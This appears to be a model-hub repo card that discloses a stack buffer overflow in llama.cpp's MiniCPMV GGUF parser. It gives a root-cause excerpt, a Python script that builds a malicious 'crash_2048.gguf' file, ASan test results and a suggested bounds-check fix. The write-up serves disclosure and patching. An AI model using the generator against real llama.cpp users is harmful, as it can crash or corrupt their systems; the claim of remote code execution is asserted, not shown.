YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
llama.cpp GGUF MiniCPMV Stack Buffer Overflow PoC
Vulnerability Summary
Stack buffer overflow in llama.cpp GGUF CLIP model parser affecting MiniCPMV multimodal projector. Fixed-size stack arrays with attacker-controlled loop bounds enable RCE via stack corruption.
Location: tools/mtmd/clip.cpp:3001-3012
Impact: Remote Code Execution via malicious GGUF files
Root Cause
// Fixed 1024-element stack arrays
int bucket_coords_h[1024];
int bucket_coords_w[1024];
// Loops with attacker-controlled bounds
for (int i = 0; i < pos_h; i++){
bucket_coords_h[i] = std::floor(70.0*i/pos_h); // overflow here
}
for (int i = 0; i < pos_w; i++){
bucket_coords_w[i] = std::floor(70.0*i/pos_w); // overflow here
}
Attack Vector
- pos_h = image_height / patch_size (from GGUF metadata)
- pos_w = image_width / patch_size (from GGUF metadata)
- If pos_h or pos_w > 1024, loops write past array bounds
- Stack corruption can overwrite return addresses β RCE
PoC Generator
#!/usr/bin/env python3
# make evil gguf file to crash minicpmv
import struct
def write_u32(f, val):
f.write(struct.pack('<I', val))
def write_u64(f, val):
f.write(struct.pack('<Q', val))
def write_str(f, s):
b = s.encode('utf-8')
write_u64(f, len(b))
f.write(b)
def write_kv(f, key, typ, val):
write_str(f, key)
write_u32(f, typ)
if typ == 4: # uint32
write_u32(f, val)
elif typ == 8: # string
write_str(f, val)
# Create malicious GGUF file
with open('crash_2048.gguf', 'wb') as f:
# GGUF header
f.write(b'GGUF') # magic
write_u32(f, 3) # version
write_u64(f, 0) # no tensors
write_u64(f, 3) # 3 metadata pairs
# Target MiniCPMV projector
write_kv(f, "clip.projector_type", 8, "minicpmv")
# Set patch_size = 1 for maximum pos_h/pos_w
write_kv(f, "clip.vision.patch_size", 4, 1)
# Set image_size = 2048 -> pos_h = 2048 > 1024 = overflow
write_kv(f, "clip.vision.image_size", 4, 2048)
Test Results
- 2048 elements: Overwrite ~4KB past array bounds
- Confirmed with AddressSanitizer: Stack corruption detected
- RCE potential: Return address corruption possible
Affected Code Path
- Load malicious GGUF with
clip.projector_type = "minicpmv" - Parser calculates
pos_h = image_size / patch_size = 2048 / 1 = 2048 - Loop writes 2048 integers to 1024-element stack array
- Stack corruption overwrites adjacent memory
- Function return can redirect to attacker-controlled code
Remediation
// Add bounds check
if (pos_h > 1024 || pos_w > 1024) {
return false;
}
// Or use dynamic allocation
std::vector<int> bucket_coords_h(pos_h);
std::vector<int> bucket_coords_w(pos_w);
Inference Providers NEW
This model isn't deployed by any Inference Provider. π Ask for provider support